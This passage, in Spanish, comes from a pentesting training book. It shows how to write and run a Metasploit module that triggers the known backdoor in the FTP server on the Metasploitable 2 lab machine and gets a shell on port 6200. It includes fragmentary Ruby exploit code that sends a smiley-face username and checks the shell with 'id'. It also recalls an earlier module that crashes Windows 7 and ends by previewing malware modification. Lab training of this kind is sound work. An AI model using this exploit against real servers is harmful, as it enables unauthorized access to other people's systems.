Ahora de la línea 46 a la 117, nos encontraremos con un ShellCode, que es el código que realizará
la acción perjudicial sobre el host remoto, ocasionando el desbordamiento de la pila o “Stack” de
este servicio:
Y, por último, de la línea 118 a la 149 nos encontramos con un último condicional relevante a la
respuesta del Host remoto, así como también el bloque de código desde “connect” hasta
“print_good”, que es en donde se lleva a cabo el proceso de establecer la conexión una vez enviado
el “ShellCode”, mostrando mediante diferentes comentarios que hace cada línea o bloque. Al último
vemos en “report_vuln” las variables con las que trabaja el Módulo, que como ya aprendiste en el
nivel COISP 1, en Metasploit se trata de “info”, “RHOST”, “RPORT”, “NAME”, etc.
Ahora qué ya tienes todo listo, es momento de que inicies el Framework de Metasploit, y como
ya sabes también, primero hay que inicializar el servicio de la base de datos de la que
depende principalmente Metasploit, PostgreSQL. En estas nuevas versiones de Parrot la forma
de iniciar el servicio ha cambiado, ahora se usa “systemctl”, que también tiene una sintaxis muy
simple, ejecutaremos los 2 siguientes comandos para iniciar de forma correcta el Framework:
Solo basta con agregar al parámetro de configuración “RHOST” la dirección IP y ejecutar el módulo
con el comando “run”, poniendo a trabajar el código en Ruby y ocasionando lo siguiente en
Windows, mostrando el “BSOF” antes mencionado, recolectando información acerca de lo
sucedido:
Es común que los usuarios busquen la manera de transferir archivos entre diferentes equipos
dentro de una red local, para ello suelen emplear un servidor FTP, el cual les permite o facilita
lo antes descrito. Por el significado de su acrónimo (File Transfer Protocol), es un protocolo
utilizado para la transferencia de archivos entre computadoras e internet, y por obvias razones
estos pueden contener información, ya sea importante o no.
Habrá ocasiones en las que nos encontremos con servidores FTP qué aún conservan las
configuraciones por default al momento de la instalación de los mismos, o no han sido configurados
de la forma correcta, dejándolos a la deriva, esperando a que alguien encuentre la forma de poder
perjudicarlos, ya sea con la detención del servicio que ofrecen estos, o algo más comprometedor
como la ejecución de un payload sobre este, en donde lejos de causar un desbordamiento de pila,
podrás conseguir una Shell interactiva sobre el sistema remoto.
Después de habernos ensuciado las manos un poco con el código anterior en Ruby para conseguir
un DoS, es momento de hacer algo más perjudicial. La aproximación que haremos constará en
aprovecharse de una vulnerabilidad con la que cuenta el servidor FTP que existe en nuestra red,
el cual será Metasploitable 2, la cual consta de la existencia de malware en él, ahora nuestro
trabajo es invocar a este mediante la inyección de un payload, el cual establecerá la conexión con
el mismo y así será como conseguiremos la Shell antes descrita sobre el sistema.
¿Qué es Metasploitable?
Es un recurso informático (una máquina virtual en este caso) que fue creada por el mismo equipo
de desarrollo de Metasploit, esta VM hecha en Linux cuenta con diferentes vulnerabilidades
escondidas o distribuidas en el sistema, esperando a ser descubiertas y atacadas. Por ello,
Metasploitable 2 (versión que usaremos) una máquina virtual que es utilizada para llevar a
cabo pruebas, capacitaciones en seguridad, probar herramientas o técnicas para
pentesting.
Esta VM está disponible para ambos ambientes de virtualización (VMware y Virtual Box), la razón
por la que no se utilizó la versión 3 de Metasploitable es debido a que oficialmente no está
disponible para VMware, por lo que usaremos la VM con versión anterior, la cual viene incluida en
el material proporcionado referente a este capítulo, aunque también puedes descargarlo desde el
siguiente enlace:
https://sourceforge.net/projects/metasploitable/files/Metasploitable2/
¿Qué necesitarás para este ejercicio?
• Parrot Security OS, cualquier versión, en este caso usaras la 3.4 proporcionada.
• Metasploitable 2
• Ambas VM deberán tener configurado el adaptador de red en modo NAT.
Estando listas ambas VM’s, las encenderemos y posteriormente nos loggearemos en cada una,
en Parrot el usuario y password son “root y toor”, las de Metasploitable 2 ya sabes cuales son.
*En el libro y certificación COISP Nivel 1 se toca más a detalle el uso de Nikto:
Durante el escaneo, algo que quizás notes es que se lleva a cabo una acción llamada
“Screenshot”, lo que hace esta es tomara una captura de pantalla (si es posible) del host remoto,
esto con la finalidad de facilitarnos la tarea de identificar a un Host en específico, esta acción
se puede mostrar en la barra de progreso, indicando el puerto sobre el que opera, el host sobre
el que está trabajando, fecha, hora y estatus. En este ejemplo nos indica que sobre el host
192.168.42.139 se está llevando a cabo esta acción, para verificar esta captura realizada
pasaremos a la pestaña “Tools” para revisar lo anterior, en donde veremos lo siguiente:
Imagen 36.8 y 36.9: Identificación de Host Metasploitable 2 y acción de Screenshot.
Imagen 37.0 y 37.1: Uso de Nmap en Sparta y Fingerprinting del Host Metasploitable 2.
Antes de continuar es importante saber de qué es lo que exactamente estamos por aprovecharnos
o por explotar.
El servidor FTP antes descrito, dispone de actualizaciones descargadas que cuentan con una
vulnerabilidad bastante crítica, esta consiste en que dentro de los repos de dichas actualizaciones
se halla un malware que es activado (Triggered) o puesto en función mediante el apoyo de
un payload, el cual vendrá dentro de nuestro exploit, ya que cómo se sabe, los exploits para ser
considerados tal cuales requieren de un bloque de información referente a un payload, con lo
anterior entendido, al momento de que el malware y el payload se encuentren, obtendremos una
Shell que estará en función en el puerto 6200 del sistema Linux.
Para esto, usaremos el siguiente código, que también está hecho en Ruby del cual estarás
familiarizado con algunas cosas:
require 'msf/core'
include Msf::Exploit::Remote::Tcp
connect
sock.put("USER #{rand_text_alphanumeric(rand(6)+1)}:)\r\n")
resp = sock.get_once(-1, 30).to_s
print_status("USER: #{resp.strip}")
if resp =~ /^530 /
print_error("Las medidas de seguridad han cambiado, conexion no establecida")
disconnect
return
end
if resp !~ /^331 /
print_error("Este servidor no funciona como lo esperabas: #{resp.strip}")
disconnect
return
end
sock.put("PASS #{rand_text_alphanumeric(rand(6)+1)}\r\n")
disconnect
end
def handle_backdoor(s)
s.put("id\n")
r = s.get_once(-1, 5).to_s
if r !~ /uid=/
print_error("Shell no conseguida :(")
disconnect(s)
return
end
print_good("IDUsuario: #{r.strip}")
El código anterior será el encargado de conseguir nuestra Shell sobre el host remoto, que es el
servidor FTP vulnerable. Algo que de seguro notaste, es que este nuevo código consta de casi 50
líneas menos, como ya sabes, esta vulnerabilidad consta en invocar al malware desde la ejecución
del payload antes mencionado, por lo que resulta una parte más corta al momento de “codear” el
exploit, aunque se trate de dos plataformas diferentes (Windows/Linux), también resulta más
perjudicial que el exploit o código del ejercicio anterior.
Como se ejemplificó en el ejercicio anterior, deberás de seguir los mismos pasos para compilar tu
módulo de Metasploit, desde abrir el editor de texto “Pluma”, hasta la colocación del script en Ruby
en el directorio correspondiente.
Donde:
• De la línea 4 a la 9 podremos notar como estamos especificando que este código trabajará
con la librería “core” del Framework de Metasploit, también indicamos en la clase
“MetasploitModule”, indicando el tipo de funcionalidad (Remote) y la calificación.
• En la línea 11, con “def” estamos declarando el método referente a la información del
payload, como lo son detalles acerca de su funcionamiento, en las demás líneas también
podemos ver especificaciones del exploit como lo es el Autor, la plataforma en la que
funciona, la arquitectura por la que trabajará, payload etc.
• De la línea 44 a 67, nos encontramos con otro método declarado referente directamente al
exploit, ahora con condicionales. En donde iniciamos con “sockets” la conexión que se
establecerá para la Shell en el puerto 6200 del Host Linux, mostrando un “Status” acerca
de la situación del mismo al momento del encuentro con el malware. Si después de lo
anterior se establece la conexión, mostraremos un “Banner” en donde puede haber 3
mensajes, 2 acerca de errores y conexiones no establecidas y uno sobre lo contrario a lo
anterior:
• Por último, entre las líneas 88 y 105 nos encontraremos un método final que está
declarado, en este caso se trata del bloque de código que hará el trabajo con el backdoor
o malware que reside en el Host remoto, en donde veremos un condicional y diferentes
“print statements” correspondientes a cada uno de los resultados u outputs que se
obtengan, siendo estos el establecimiento o fallo de la conexión entre atacante y Host.
Ahora que has finalizado con el código, lo guardarás con el nombre de tu preferencia (en este caso
fue ftp_exploit_hm.rb” es importante colocar la extensión de Ruby al final, seguido de esto
colocarás el script en el siguiente directorio que es donde residen los exploits en Parrot OS como
lo es en la mayoría de las distros para pentesting, y, por ende, donde este corresponde.
/user/share/metasploit-framework/modules/exploits/unix/ (“como quieras llamar a este folder”)
Una vez finalizado el proceso de formulación de tu exploit, es momento de ponerlo a trabajar y probarlo,
para ello habrá que utilizar el framework de Metasploit. Como ya sabes, habrá que inicializar el servicio
de BD con el que opera el Framework, que es PostgreSQL e iniciar Metasploit.
Imagen 37.8: Inicio de servicio de Base de datos y del Framework.
Una vez inicializado el Framework, entrarás a tu módulo, que es el exploit que recién creaste. Para
ello solo basta con hacer uso del comando “use” y con el buscar a tu exploit entre el repositorio
del contenido en Metasploit, basta con saber la categoría y nombre:
Una vez estando dentro de nuestro módulo, ejecutaremos el comando “show options” para
enlistar o mostrar los parámetros de configuración con los que este opera o funciona, en donde
veremos que solamente requerimos de 2: Un Host remoto y un puerto remoto.
En lo que se refiere al Host se trata de la dirección IP de este, en este caso estamos hablando de
la máquina virtual “Metasploitable 2” la cual está en función como un servidor FTP vulnerable, en
cuanto el puerto, se trata del puerto 21, que es donde corre el servicio FTP. Para esto usaremos
los comandos la misma sintaxis que en ejercicio anterior, siendo estos set RHOST y set RPORT
en donde colocaremos la dirección IP y el puerto y al final lo ponemos en acción con “run”:
Imagen 38.1 y 38.2: Obtención de Shell sobre servidor FTP y navegación por directorios.
A lo largo de este capítulo cubrimos varios temas referentes al desarrollo de exploits, desde la creación de un simple programa que
cuenta con una pila desbordable y como vulnerarlo con scripts hechos en Perl, ya sea mediante comunicación por telnet o
remotamente desde Parrot, también pisamos terreno más a fondo al momento de trabajar con una aplicación más completa al involucrar
el uso de un Debugger para hacer Fuzzing de la aplicación y así identificar el “Buffer Overflow” con el que cuenta esta, así como
también el uso de Mona.py en un Debugger para facilitarnos la elaboración de un script mayormente perjudicial que ocasione un
desbordamiento de esta aplicación.
También cubrimos lo suficiente en cuanto a lenguaje ensamblador para familiarizarte con la escritura y el contexto del proceso de
formulación de exploits, como lo son los registros EIP y ESP en cuanto se trate de Overflows. Y por último en la segunda mitad nos
familiarizamos en la creación de módulos de Metasploit, como es que deben estar constituidos estos para que funcionen o el
framework los tome en cuenta, hasta la elaboración de un “Auxiliary” que causa un desbordamiento a nivel kernel de un sistema
Windows 7 y la elaboración de un exploit que se aprovecha de una vulnerabilidad en servidores FTP, comprometiendo así el host
remoto. Ahora que ya te ensuciaste un poco las manos con esto, compilando código en diferentes lenguajes y utilizando debuggers para
hacer algo de Reversing, es momento de que pases a algo un tanto más complejo como lo es el Modding, en donde se adentraras en
las entrañas del malware para así realizar cambios que resulten favorables para ti y obvio…. lo contrario para quien va destinado.